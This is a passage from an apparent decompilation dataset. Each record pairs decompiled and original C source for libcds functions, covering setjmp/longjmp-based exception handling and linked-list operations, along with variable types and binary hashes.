EXN_TRY:\n exn_handler()->state = (!Exn_Handled) ? EXN_CATCH : EXN_FINALLY;\n break;\n case EXN_CATCH:\n exn_handler()->state = EXN_FINALLY;\n break;\n case EXN_FINALLY:\n if (!Exn_Handled)\n exn_rethrow();\n else\n exn_handler()->state = EXN_DONE;\n break;\n case EXN_DONE:\n exn_pop();\n ret = 0;\n break;\n default:\n fprintf(stderr, \"Error: Exception handler entered an invalid state\\n\");\n exit(1);\n break;\n }\n return ret;\n}", "variable_types": [ [ "ret", "_Bool" ] ], "return_type": "_Bool", "user_defined_types": [], "binary_hash": "18195bcf3718ecab6469b4fb1987cbace7caee172bfaeb3c4de44b2e54607b77" }, { "name": "exn_throw", "canonical_name": "func4", "repo": "mikedlowis/libcds", "decompiled_code": "void __fastcall __noreturn exn_throw(__int64 a1, __int64 a2, __int64 a3, __int64 a4)\n{\nstruct __jmp_buf_tag *v4; // rax\n\nExn_Current = a3;\nExn_Handled = 0;\nExn_File = a1;\nExn_Line = a2;\nExn_Msg = a4;\nif ( !Exn_Handlers )\nexn_uncaught(Exn_Current);\nv4 = (struct __jmp_buf_tag *)exn_handler(a1, a2);\nlongjmp(v4, 1);\n}\n", "canonical_decompiled_code": "void __fastcall __noreturn func4(__int64 a1, __int64 a2, __int64 a3, __int64 a4)\n{\nstruct __jmp_buf_tag *v4; // rax\n\nExn_Current = a3;\nExn_Handled = 0;\nExn_File = a1;\nExn_Line = a2;\nExn_Msg = a4;\nif ( !Exn_Handlers )\nfunc0(Exn_Current);\nv4 = (struct __jmp_buf_tag *)func8(a1, a2);\nlongjmp(v4, 1);\n}", "original_code": "void exn_throw(const char* file, int line, const exn_t* p_type, const char* msg) {\n Exn_Current = p_type;\n Exn_Handled = 0;\n Exn_File = file;\n Exn_Line = line;\n Exn_Msg = msg;\n if (Exn_Handlers == ((void *)0)) {\n exn_uncaught(Exn_Current);\n } else {\n longjmp(exn_handler()->context,1);\n }\n}", "canonical_original_code": "void exn_throw(char *file, int line, struct exn_t *p_type, char *msg) {\n Exn_Current = p_type;\n Exn_Handled = 0;\n Exn_File = file;\n Exn_Line = line;\n Exn_Msg = msg;\n if (Exn_Handlers == ((void *)0)) {\n exn_uncaught(Exn_Current);\n } else {\n longjmp(exn_handler()->context,1);\n }\n}", "variable_types": [ [ "file", "char *" ], [ "line", "int" ], [ "p_type", "struct exn_t { struct exn_t *p_parent; char *name; } *" ], [ "msg", "char *" ] ], "return_type": "void", "user_defined_types": [ "struct exn_t { struct exn_t *p_parent; char *name; }" ], "binary_hash": "18195bcf3718ecab6469b4fb1987cbace7caee172bfaeb3c4de44b2e54607b77" }, { "name": "exn_rethrow", "canonical_name": "func5", "repo": "mikedlowis/libcds", "decompiled_code": "void __noreturn exn_rethrow()\n{\nexn_pop();\nexn_throw(Exn_File, (unsigned int)Exn_Line, Exn_Current, Exn_Msg);\n}\n", "canonical_decompiled_code": "void __noreturn func5()\n{\nfunc1();\nfunc4(Exn_File, (unsigned int)Exn_Line, Exn_Current, Exn_Msg);\n}", "original_code": "void exn_rethrow(void) {\n exn_pop();\n exn_throw(Exn_File, Exn_Line, Exn_Current, Exn_Msg);\n}", "canonical_original_code": "void exn_rethrow() {\n exn_pop();\n exn_throw(Exn_File, Exn_Line, Exn_Current, Exn_Msg);\n}", "variable_types": [], "return_type": "void", "user_defined_types": [], "binary_hash": "18195bcf3718ecab6469b4fb1987cbace7caee172bfaeb3c4de44b2e54607b77" }, { "name": "exn_catch", "canonical_name": "func6", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall exn_catch(_QWORD *a1)\n{\n_QWORD *i; // [rsp+18h] [rbp-8h]\n\nfor ( i = (_QWORD *)exn_current(); i; i = (_QWORD *)*i )\n{\nif ( i == a1 )\n{\nExn_Handled = 1;\nreturn (unsigned __int8)Exn_Handled;\n}\n}\nreturn (unsigned __int8)Exn_Handled;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func6(_QWORD *a1)\n{\n_QWORD *i; // [rsp+18h] [rbp-8h]\n\nfor ( i = (_QWORD *)func7(); i; i = (_QWORD *)*i )\n{\nif ( i == a1 )\n{\nExn_Handled = 1;\nreturn (unsigned __int8)Exn_Handled;\n}\n}\nreturn (unsigned __int8)Exn_Handled;\n}", "original_code": "_Bool exn_catch(const exn_t* p_type) {\n const exn_t* p_current;\n for(p_current = exn_current(); p_current != ((void *)0); p_current = p_current->p_parent)\n {\n if (p_current == p_type)\n {\n Exn_Handled = 1;\n break;\n }\n }\n return Exn_Handled;\n}", "canonical_original_code": "_Bool exn_catch(struct exn_t *p_type) {\n struct exn_t *p_current;\n for(p_current = exn_current(); p_current != ((void *)0); p_current = p_current->p_parent)\n {\n if (p_current == p_type)\n {\n Exn_Handled = 1;\n break;\n }\n }\n return Exn_Handled;\n}", "variable_types": [ [ "p_type", "struct exn_t { struct exn_t *p_parent; char *name; } *" ], [ "p_current", "struct exn_t { struct exn_t *p_parent; char *name; } *" ] ], "return_type": "_Bool", "user_defined_types": [ "struct exn_t { struct exn_t *p_parent; char *name; }" ], "binary_hash": "18195bcf3718ecab6469b4fb1987cbace7caee172bfaeb3c4de44b2e54607b77" }, { "name": "exn_current", "canonical_name": "func7", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 exn_current()\n{\nreturn Exn_Current;\n}\n", "canonical_decompiled_code": "__int64 func7()\n{\nreturn Exn_Current;\n}", "original_code": "const exn_t* exn_current(void) {\n return Exn_Current;\n}", "canonical_original_code": "struct exn_t *exn_current() {\n return Exn_Current;\n}", "variable_types": [], "return_type": "struct exn_t { struct exn_t *p_parent; char *name; } *", "user_defined_types": [ "struct exn_t { struct exn_t *p_parent; char *name; }" ], "binary_hash": "18195bcf3718ecab6469b4fb1987cbace7caee172bfaeb3c4de44b2e54607b77" }, { "name": "exn_handler", "canonical_name": "func8", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 exn_handler()\n{\n__int64 result; // rax\n\nif ( Exn_Handlers )\nresult = Exn_Handlers + 8;\nelse\nresult = 0LL;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 func8()\n{\n__int64 result; // rax\n\nif ( Exn_Handlers )\nresult = Exn_Handlers + 8;\nelse\nresult = 0LL;\nreturn result;\n}", "original_code": "exn_handler_t* exn_handler(void) {\n return (((void *)0) != Exn_Handlers) ? &(Exn_Handlers->handler) : ((void *)0);\n}", "canonical_original_code": "struct exn_handler_t *exn_handler() {\n return (((void *)0) != Exn_Handlers) ? &(Exn_Handlers->handler) : ((void *)0);\n}", "variable_types": [], "return_type": "struct exn_handler_t { struct __jmp_buf_tag { long __jmpbuf[8]; int __mask_was_saved; struct __sigset_t { unsigned long __val[-1]; } __saved_mask; } context[1]; enum exn_state_t { EXN_BEGIN=0, EXN_TRY=1, EXN_CATCH=2, EXN_FINALLY=3, EXN_DONE=4 } state; } *", "user_defined_types": [ "struct exn_handler_t { struct __jmp_buf_tag context[1]; enum exn_state_t state; }", "enum exn_state_t { EXN_BEGIN=0, EXN_TRY=1, EXN_CATCH=2, EXN_FINALLY=3, EXN_DONE=4 }", "struct __jmp_buf_tag { long __jmpbuf[8]; int __mask_was_saved; struct __sigset_t __saved_mask; }", "struct __sigset_t { unsigned long __val[-1]; }" ], "binary_hash": "18195bcf3718ecab6469b4fb1987cbace7caee172bfaeb3c4de44b2e54607b77" }, { "name": "exn_assert", "canonical_name": "func9", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall exn_assert(__int64 a1, unsigned int a2, unsigned __int8 a3, __int64 a4)\n{\n__int64 result; // rax\n\nresult = a3 ^ 1u;\nif ( a3 != 1 )\nexn_throw(a1, a2, (__int64)&AssertionException, a4);\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func9(__int64 a1, unsigned int a2, unsigned __int8 a3, __int64 a4)\n{\n__int64 result; // rax\n\nresult = a3 ^ 1u;\nif ( a3 != 1 )\nfunc4(a1, a2, (__int64)&AssertionException, a4);\nreturn result;\n}", "original_code": "void exn_assert(const char* file, int line, _Bool expr, const char* msg) {\n if(!expr) {\n exn_throw(file, line, &AssertionException, msg);\n }\n}", "canonical_original_code": "void exn_assert(char *file, int line, _Bool expr, char *msg) {\n if(!expr) {\n exn_throw(file, line, &AssertionException, msg);\n }\n}", "variable_types": [ [ "file", "char *" ], [ "line", "int" ], [ "expr", "_Bool" ], [ "msg", "char *" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "18195bcf3718ecab6469b4fb1987cbace7caee172bfaeb3c4de44b2e54607b77" } ]
1a80eef2c9b153c448f480861b953ae25636dfa637d6878177f611c14b52425a
mikedlowis/libcds
[ [ "list_new", "->" ], [ "list_front", "->" ], [ "list_back", "->" ], [ "list_size", "->", "list_index_of" ], [ "list_empty", "->" ], [ "list_prev", "->" ], [ "list_at", "->", "list_insert", "list_delete" ], [ "list_index_of", "->", "list_size" ], [ "list_push_front", "->" ], [ "list_push_back", "->" ], [ "list_pop_front", "->", "list_delete_node" ], [ "list_pop_back", "->", "list_delete_node" ], [ "list_insert", "->", "list_at" ], [ "list_delete", "->", "list_at", "list_delete_node" ], [ "list_delete_node", "->", "list_pop_front", "list_pop_back", "list_delete" ], [ "list_free", "->" ], [ "list_node_free", "->" ] ]
[]
[ { "name": "list_new", "canonical_name": "func0", "repo": "mikedlowis/libcds", "decompiled_code": "_QWORD *list_new()\n{\n_QWORD *result; // rax\n\nresult = (_QWORD *)mem_allocate(16LL, list_free);\n*result = 0LL;\nresult[1] = 0LL;\nreturn result;\n}\n", "canonical_decompiled_code": "_QWORD *func0()\n{\n_QWORD *result; // rax\n\nresult = (_QWORD *)mem_allocate(16LL, list_free);\n*result = 0LL;\nresult[1] = 0LL;\nreturn result;\n}", "original_code": "list_t* list_new(void)\n{\n list_t* list = (list_t*)mem_allocate(sizeof(list_t), &list_free);\n list->head = ((void *)0);\n list->tail = ((void *)0);\n return list;\n}", "canonical_original_code": "struct list_t *list_new()\n{\n struct list_t *list = (list_t*)mem_allocate(sizeof(list_t), &list_free);\n list->head = ((void *)0);\n list->tail = ((void *)0);\n return list;\n}", "variable_types": [ [ "list", "struct list_t { struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; } *head; struct list_node_t *tail; } *" ] ], "return_type": "struct list_t { struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; } *head; struct list_node_t *tail; } *", "user_defined_types": [ "struct list_t { struct list_node_t *head; struct list_node_t *tail; }", "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; }" ], "binary_hash": "1a80eef2c9b153c448f480861b953ae25636dfa637d6878177f611c14b52425a" }, { "name": "list_front", "canonical_name": "func1", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall list_front(__int64 a1)\n{\nexn_assert(\"source/list/list.c\", 29LL, a1 != 0, \"NULL != list\");\nreturn *(_QWORD *)a1;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(__int64 a1)\n{\nexn_assert(\"source/list/list.c\", 29LL, a1 != 0, \"NULL != list\");\nreturn *(_QWORD *)a1;\n}", "original_code": "list_node_t* list_front( list_t* list )\n{\n exn_assert(\"source/list/list.c\",29,((void *)0) != list,\"NULL != list\");\n return list->head;\n}", "canonical_original_code": "struct list_node_t *list_front(struct list_t *list)\n{\n exn_assert(\"source/list/list.c\",29,((void *)0) != list,\"NULL != list\");\n return list->head;\n}", "variable_types": [ [ "list", "struct list_t { struct list_node_t *head; struct list_node_t *tail; } *" ] ], "return_type": "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; } *", "user_defined_types": [ "struct list_t { struct list_node_t *head; struct list_node_t *tail; }", "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; }" ], "binary_hash": "1a80eef2c9b153c448f480861b953ae25636dfa637d6878177f611c14b52425a" }, { "name": "list_back", "canonical_name": "func2", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall list_back(__int64 a1)\n{\nexn_assert(\"source/list/list.c\", 35LL, a1 != 0, \"NULL != list\");\nreturn *(_QWORD *)(a1 + 8);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func2(__int64 a1)\n{\nexn_assert(\"source/list/list.c\", 35LL, a1 != 0, \"NULL != list\");\nreturn *(_QWORD *)(a1 + 8);\n}", "original_code": "list_node_t* list_back( list_t* list )\n{\n exn_assert(\"source/list/list.c\",35,((void *)0) != list,\"NULL != list\");\n return list->tail;\n}", "canonical_original_code": "struct list_node_t *list_back(struct list_t *list)\n{\n exn_assert(\"source/list/list.c\",35,((void *)0) != list,\"NULL != list\");\n return list->tail;\n}", "variable_types": [ [ "list", "struct list_t { struct list_node_t *head; struct list_node_t *tail; } *" ] ], "return_type": "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; } *", "user_defined_types": [ "struct list_t { struct list_node_t *head; struct list_node_t *tail; }", "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; }" ], "binary_hash": "1a80eef2c9b153c448f480861b953ae25636dfa637d6878177f611c14b52425a" }, { "name": "list_size", "canonical_name": "func3", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall list_size(__int64 a1)\n{\nexn_assert(\"source/list/list.c\", 41LL, a1 != 0, \"NULL != list\");\nreturn (int)list_index_of(a1, 0LL);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func3(__int64 a1)\n{\nexn_assert(\"source/list/list.c\", 41LL, a1 != 0, \"NULL != list\");\nreturn (int)func7(a1, 0LL);\n}", "original_code": "size_t list_size(list_t* list)\n{\n exn_assert(\"source/list/list.c\",41,((void *)0) != list,\"NULL != list\");\n return list_index_of(list, ((void *)0));\n}", "canonical_original_code": "unsigned long list_size(struct list_t *list)\n{\n exn_assert(\"source/list/list.c\",41,((void *)0) != list,\"NULL != list\");\n return list_index_of(list, ((void *)0));\n}", "variable_types": [ [ "list", "struct list_t { struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; } *head; struct list_node_t *tail; } *" ] ], "return_type": "unsigned long", "user_defined_types": [ "struct list_t { struct list_node_t *head; struct list_node_t *tail; }", "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; }" ], "binary_hash": "1a80eef2c9b153c448f480861b953ae25636dfa637d6878177f611c14b52425a" }, { "name": "list_empty", "canonical_name": "func4", "repo": "mikedlowis/libcds", "decompiled_code": "bool __fastcall list_empty(_QWORD *a1)\n{\nexn_assert(\"source/list/list.c\", 47LL, a1 != 0LL, \"NULL != list\");\nreturn *a1 == 0LL;\n}\n", "canonical_decompiled_code": "bool __fastcall func4(_QWORD *a1)\n{\nexn_assert(\"source/list/list.c\", 47LL, a1 != 0LL, \"NULL != list\");\nreturn *a1 == 0LL;\n}", "original_code": "_Bool list_empty(list_t* list)\n{\n exn_assert(\"source/list/list.c\",47,((void *)0) != list,\"NULL != list\");\n return ((void *)0) == list->head;\n}", "canonical_original_code": "_Bool list_empty(struct list_t *list)\n{\n exn_assert(\"source/list/list.c\",47,((void *)0) != list,\"NULL != list\");\n return ((void *)0) == list->head;\n}", "variable_types": [ [ "list", "struct list_t { struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; } *head; struct list_node_t *tail; } *" ] ], "return_type": "_Bool", "user_defined_types": [ "struct list_t { struct list_node_t *head; struct list_node_t *tail; }", "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; }" ], "binary_hash": "1a80eef2c9b153c448f480861b953ae25636dfa637d6878177f611c14b52425a" }, { "name": "list_prev", "canonical_name": "func5", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall list_prev(__int64 a1, __int64 a2)\n{\n__int64 result; // rax\n\nif ( a2 )\nresult = *(_QWORD *)(a2 + 16);\nelse\nresult = 0LL;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func5(__int64 a1, __int64 a2)\n{\n__int64 result; // rax\n\nif ( a2 )\nresult = *(_QWORD *)(a2 + 16);\nelse\nresult = 0LL;\nreturn result;\n}", "original_code": "list_node_t* list_prev(list_t* list, list_node_t* node){\n (void)list;\n return (node ? node->prev : ((void *)0));\n}", "canonical_original_code": "struct list_node_t *list_prev(struct list_t *list, struct list_node_t *node){\n (void)list;\n return (node ? node->prev : ((void *)0));\n}", "variable_types": [ [ "list", "struct list_t { struct list_node_t *head; struct list_node_t *tail; } *" ], [ "node", "struct list_node_t *" ] ], "return_type": "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; } *", "user_defined_types": [ "struct list_t { struct list_node_t *head; struct list_node_t *tail; }", "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; }" ], "binary_hash": "1a80eef2c9b153c448f480861b953ae25636dfa637d6878177f611c14b52425a" }, { "name": "list_at", "canonical_name": "func6", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall list_at(__int64 *a1, __int64 a2)\n{\n__int64 i; // [rsp+10h] [rbp-10h]\n__int64 v4; // [rsp+18h] [rbp-8h]\n\nexn_assert(\"source/list/list.c\", 58LL, a1 != 0LL, \"NULL != list\");\nv4 = *a1;\nfor ( i = 0LL; v4 && i != a2; ++i )\nv4 = *(_QWORD *)(v4 + 8);\nreturn v4;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func6(__int64 *a1, __int64 a2)\n{\n__int64 i; // [rsp+10h] [rbp-10h]\n__int64 v4; // [rsp+18h] [rbp-8h]\n\nexn_assert(\"source/list/list.c\", 58LL, a1 != 0LL, \"NULL != list\");\nv4 = *a1;\nfor ( i = 0LL; v4 && i != a2; ++i )\nv4 = *(_QWORD *)(v4 + 8);\nreturn v4;\n}", "original_code": "list_node_t* list_at(list_t* list, size_t index)\n{\n exn_assert(\"source/list/list.c\",58,((void *)0) != list,\"NULL != list\");\n list_node_t* node = list->head;\n size_t cur_index = 0;\n while( ((void *)0) != node && cur_index != index)\n {\n node = node->next;\n cur_index++;\n }\n return node;\n}", "canonical_original_code": "struct list_node_t *list_at(struct list_t *list, unsigned long index)\n{\n exn_assert(\"source/list/list.c\",58,((void *)0) != list,\"NULL != list\");\n struct list_node_t *node = list->head;\n unsigned long cur_index = 0;\n while( ((void *)0) != node && cur_index != index)\n {\n node = node->next;\n cur_index++;\n }\n return node;\n}", "variable_types": [ [ "list", "struct list_t { struct list_node_t *head; struct list_node_t *tail; } *" ], [ "index", "unsigned long" ], [ "node", "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; } *" ], [ "cur_index", "unsigned long" ] ], "return_type": "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; } *", "user_defined_types": [ "struct list_t { struct list_node_t *head; struct list_node_t *tail; }", "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; }" ], "binary_hash": "1a80eef2c9b153c448f480861b953ae25636dfa637d6878177f611c14b52425a" }, { "name": "list_index_of", "canonical_name": "func7", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall list_index_of(__int64 *a1, __int64 a2)\n{\n__int64 result; // rax\n__int64 v3; // [rsp+10h] [rbp-10h]\nunsigned int v4; // [rsp+1Ch] [rbp-4h]\n\nexn_assert(\"source/list/list.c\", 71LL, a1 != 0LL, \"NULL != list\");\nv4 = 0;\nv3 = *a1;\nwhile ( v3 && v3 != a2 )\n{\nv3 = *(_QWORD *)(v3 + 8);\n++v4;\n}\nif ( a2 == v3 )\nresult = v4;\nelse\nresult = 0xFFFFFFFFLL;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func7(__int64 *a1, __int64 a2)\n{\n__int64 result; // rax\n__int64 v3; // [rsp+10h] [rbp-10h]\nunsigned int v4; // [rsp+1Ch] [rbp-4h]\n\nexn_assert(\"source/list/list.c\", 71LL, a1 != 0LL, \"NULL != list\");\nv4 = 0;\nv3 = *a1;\nwhile ( v3 && v3 != a2 )\n{\nv3 = *(_QWORD *)(v3 + 8);\n++v4;\n}\nif ( a2 == v3 )\nresult = v4;\nelse\nresult = 0xFFFFFFFFLL;\nreturn result;\n}", "original_code": "int list_index_of(list_t* list, list_node_t* node)\n{\n exn_assert(\"source/list/list.c\",71,((void *)0) != list,\"NULL != list\");\n int i = 0;\n list_node_t* edon = list->head;\n while( ((void *)0) != edon && edon != node)\n {\n edon = edon->next;\n i++;\n }\n return (node == edon) ? i : -1;\n}", "canonical_original_code": "int list_index_of(struct list_t *list, struct list_node_t *node)\n{\n exn_assert(\"source/list/list.c\",71,((void *)0) != list,\"NULL != list\");\n int i = 0;\n struct list_node_t *edon = list->head;\n while( ((void *)0) != edon && edon != node)\n {\n edon = edon->next;\n i++;\n }\n return (node == edon) ? i : -1;\n}", "variable_types": [ [ "list", "struct list_t { struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; } *head; struct list_node_t *tail; } *" ], [ "node", "struct list_node_t *" ], [ "i", "int" ], [ "edon", "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; } *" ] ], "return_type": "int", "user_defined_types": [ "struct list_t { struct list_node_t *head; struct list_node_t *tail; }", "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; }" ], "binary_hash": "1a80eef2c9b153c448f480861b953ae25636dfa637d6878177f611c14b52425a" }, { "name": "list_push_front", "canonical_name": "func8", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall list_push_front(__int64 a1, __int64 a2)\n{\nreturn list_insert_after(a1, 0LL, a2);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func8(__int64 a1, __int64 a2)\n{\nreturn list_insert_after(a1, 0LL, a2);\n}", "original_code": "list_node_t* list_push_front( list_t* list, void* contents )\n{\n return list_insert_after(list, ((void *)0), contents);\n}", "canonical_original_code": "struct list_node_t *list_push_front(struct list_t *list, void *contents)\n{\n return list_insert_after(list, ((void *)0), contents);\n}", "variable_types": [ [ "list", "struct list_t { struct list_node_t *head; struct list_node_t *tail; } *" ], [ "contents", "void *" ] ], "return_type": "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; } *", "user_defined_types": [ "struct list_t { struct list_node_t *head; struct list_node_t *tail; }", "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; }" ], "binary_hash": "1a80eef2c9b153c448f480861b953ae25636dfa637d6878177f611c14b52425a" }, { "name": "list_push_back", "canonical_name": "func9", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall list_push_back(__int64 a1, __int64 a2)\n{\nreturn list_insert_after(a1, *(_QWORD *)(a1 + 8), a2);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func9(__int64 a1, __int64 a2)\n{\nreturn list_insert_after(a1, *(_QWORD *)(a1 + 8), a2);\n}", "original_code": "list_node_t* list_push_back( list_t* list, void* contents )\n{\n return list_insert_after(list, list->tail, contents);\n}", "canonical_original_code": "struct list_node_t *list_push_back(struct list_t *list, void *contents)\n{\n return list_insert_after(list, list->tail, contents);\n}", "variable_types": [ [ "list", "struct list_t { struct list_node_t *head; struct list_node_t *tail; } *" ], [ "contents", "void *" ] ], "return_type": "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; } *", "user_defined_types": [ "struct list_t { struct list_node_t *head; struct list_node_t *tail; }", "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; }" ], "binary_hash": "1a80eef2c9b153c448f480861b953ae25636dfa637d6878177f611c14b52425a" }, { "name": "list_pop_front", "canonical_name": "func10", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall list_pop_front(__int64 *a1)\n{\n__int64 v2; // [rsp+18h] [rbp-8h]\n\nexn_assert(\"source/list/list.c\", 94LL, a1 != 0LL, \"NULL != list\");\nv2 = *a1;\nif ( *a1 )\n{\nmem_retain(v2);\nlist_delete_node(a1, v2);\n}\nreturn v2;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func10(__int64 *a1)\n{\n__int64 v2; // [rsp+18h] [rbp-8h]\n\nexn_assert(\"source/list/list.c\", 94LL, a1 != 0LL, \"NULL != list\");\nv2 = *a1;\nif ( *a1 )\n{\nmem_retain(v2);\nfunc14(a1, v2);\n}\nreturn v2;\n}", "original_code": "list_node_t* list_pop_front( list_t* list )\n{\n exn_assert(\"source/list/list.c\",94,((void *)0) != list,\"NULL != list\");\n list_node_t* node = list->head;\n if(node)\n {\n mem_retain(node);\n list_delete_node(list, node);\n }\n return node;\n}", "canonical_original_code": "struct list_node_t *list_pop_front(struct list_t *list)\n{\n exn_assert(\"source/list/list.c\",94,((void *)0) != list,\"NULL != list\");\n struct list_node_t *node = list->head;\n if(node)\n {\n mem_retain(node);\n list_delete_node(list, node);\n }\n return node;\n}", "variable_types": [ [ "list", "struct list_t { struct list_node_t *head; struct list_node_t *tail; } *" ], [ "node", "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; } *" ] ], "return_type": "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; } *", "user_defined_types": [ "struct list_t { struct list_node_t *head; struct list_node_t *tail; }", "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; }" ], "binary_hash": "1a80eef2c9b153c448f480861b953ae25636dfa637d6878177f611c14b52425a" }, { "name": "list_pop_back", "canonical_name": "func11", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall list_pop_back(__int64 a1)\n{\n__int64 v2; // [rsp+18h] [rbp-8h]\n\nexn_assert(\"source/list/list.c\", 106LL, a1 != 0, \"NULL != list\");\nv2 = *(_QWORD *)(a1 + 8);\nif ( v2 )\n{\nmem_retain(v2);\nlist_delete_node(a1, v2);\n}\nreturn v2;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func11(__int64 a1)\n{\n__int64 v2; // [rsp+18h] [rbp-8h]\n\nexn_assert(\"source/list/list.c\", 106LL, a1 != 0, \"NULL != list\");\nv2 = *(_QWORD *)(a1 + 8);\nif ( v2 )\n{\nmem_retain(v2);\nfunc14(a1, v2);\n}\nreturn v2;\n}", "original_code": "list_node_t* list_pop_back( list_t* list )\n{\n exn_assert(\"source/list/list.c\",106,((void *)0) != list,\"NULL != list\");\n list_node_t* node = list->tail;\n if(node)\n {\n mem_retain(node);\n list_delete_node(list, node);\n }\n return node;\n}", "canonical_original_code": "struct list_node_t *list_pop_back(struct list_t *list)\n{\n exn_assert(\"source/list/list.c\",106,((void *)0) != list,\"NULL != list\");\n struct list_node_t *node = list->tail;\n if(node)\n {\n mem_retain(node);\n list_delete_node(list, node);\n }\n return node;\n}", "variable_types": [ [ "list", "struct list_t { struct list_node_t *head; struct list_node_t *tail; } *" ], [ "node", "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; } *" ] ], "return_type": "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; } *", "user_defined_types": [ "struct list_t { struct list_node_t *head; struct list_node_t *tail; }", "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; }" ], "binary_hash": "1a80eef2c9b153c448f480861b953ae25636dfa637d6878177f611c14b52425a" }, { "name": "list_insert", "canonical_name": "func12", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall list_insert(__int64 *a1, __int64 a2, __int64 a3)\n{\n__int64 v3; // rax\n__int64 v6; // [rsp+28h] [rbp-8h]\n\nexn_assert(\"source/list/list.c\", 118LL, a1 != 0LL, \"NULL != list\");\nv6 = 0LL;\nif ( a2 )\nv3 = list_at(a1, a2 - 1);\nelse\nv3 = 0LL;\nif ( v3 || !a2 )\nreturn list_insert_after(a1, v3, a3);\nmem_release(a3);\nreturn v6;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func12(__int64 *a1, __int64 a2, __int64 a3)\n{\n__int64 v3; // rax\n__int64 v6; // [rsp+28h] [rbp-8h]\n\nexn_assert(\"source/list/list.c\", 118LL, a1 != 0LL, \"NULL != list\");\nv6 = 0LL;\nif ( a2 )\nv3 = func6(a1, a2 - 1);\nelse\nv3 = 0LL;\nif ( v3 || !a2 )\nreturn list_insert_after(a1, v3, a3);\nmem_release(a3);\nreturn v6;\n}", "original_code": "list_node_t* list_insert( list_t* list, size_t index, void* contents)\n{\n exn_assert(\"source/list/list.c\",118,((void *)0) != list,\"NULL != list\");\n list_node_t* new_node = ((void *)0);\n list_node_t* prev = (index > 0 ? list_at(list, index-1) : ((void *)0));\n if(prev || index == 0)\n new_node = list_insert_after(list, prev, contents);\n else\n mem_release(contents);\n return new_node;\n}", "canonical_original_code": "struct list_node_t *list_insert(struct list_t *list, unsigned long index, void *contents)\n{\n exn_assert(\"source/list/list.c\",118,((void *)0) != list,\"NULL != list\");\n struct list_node_t *new_node = ((void *)0);\n struct list_node_t *prev = (index > 0 ? list_at(list, index-1) : ((void *)0));\n if(prev || index == 0)\n new_node = list_insert_after(list, prev, contents);\n else\n mem_release(contents);\n return new_node;\n}", "variable_types": [ [ "list", "struct list_t { struct list_node_t *head; struct list_node_t *tail; } *" ], [ "index", "unsigned long" ], [ "contents", "void *" ], [ "new_node", "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; } *" ], [ "prev", "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; } *" ] ], "return_type": "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; } *", "user_defined_types": [ "struct list_t { struct list_node_t *head; struct list_node_t *tail; }", "struct list_node_t { void *contents; struct list_node_t *next; struct list_node_t *prev; }" ], "binary_hash": "1a80eef2c9b153c448f480861b953ae25636dfa637d6878177f611c14b52425a" }, { "name": "list_delete", "canonical_name": "func13", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall list_delete(__int64 *a1, __int64 a2)\n{\n__int64 v2; // rax\n\nexn_assert(\"source/list/list.c\", 143LL, a1 != 0LL, \"NULL != 